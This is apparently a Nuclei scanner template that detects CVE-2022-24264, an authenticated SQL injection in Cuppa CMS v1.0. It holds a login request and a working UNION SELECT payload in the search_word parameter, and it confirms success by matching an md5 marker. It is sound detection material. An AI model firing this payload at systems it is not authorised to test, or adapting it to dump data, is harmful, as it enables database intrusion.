Cuppa CMS v1.0 - SQL injection

id: CVE-2022-24264

info:
  name: Cuppa CMS v1.0 - SQL injection
  author: theamanrawat
  severity: high
  description: |
    Cuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/table_manager/ via the search_word parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24264
    - https://github.com/truonghuuphuc/CVE
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Nguyen-Trung-Kien/CVE-1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24264
    cwe-id: CWE-89
    epss-score: 0.11196
    epss-percentile: 0.95163
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,sqli,cuppa,authenticated,cuppacms
variables:
  num: '999999999'

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        search_word=')+union+all+select+1,md5('{{num}}'),3,4,5,6,7,8--+-&order_by=id&order_orientation=ASC&path=component%2Ftable_manager%2Fview%2Fcu_countries&uniqueClass=wrapper_content_518284

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(num)}}'
          - 'td_available_languages'
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
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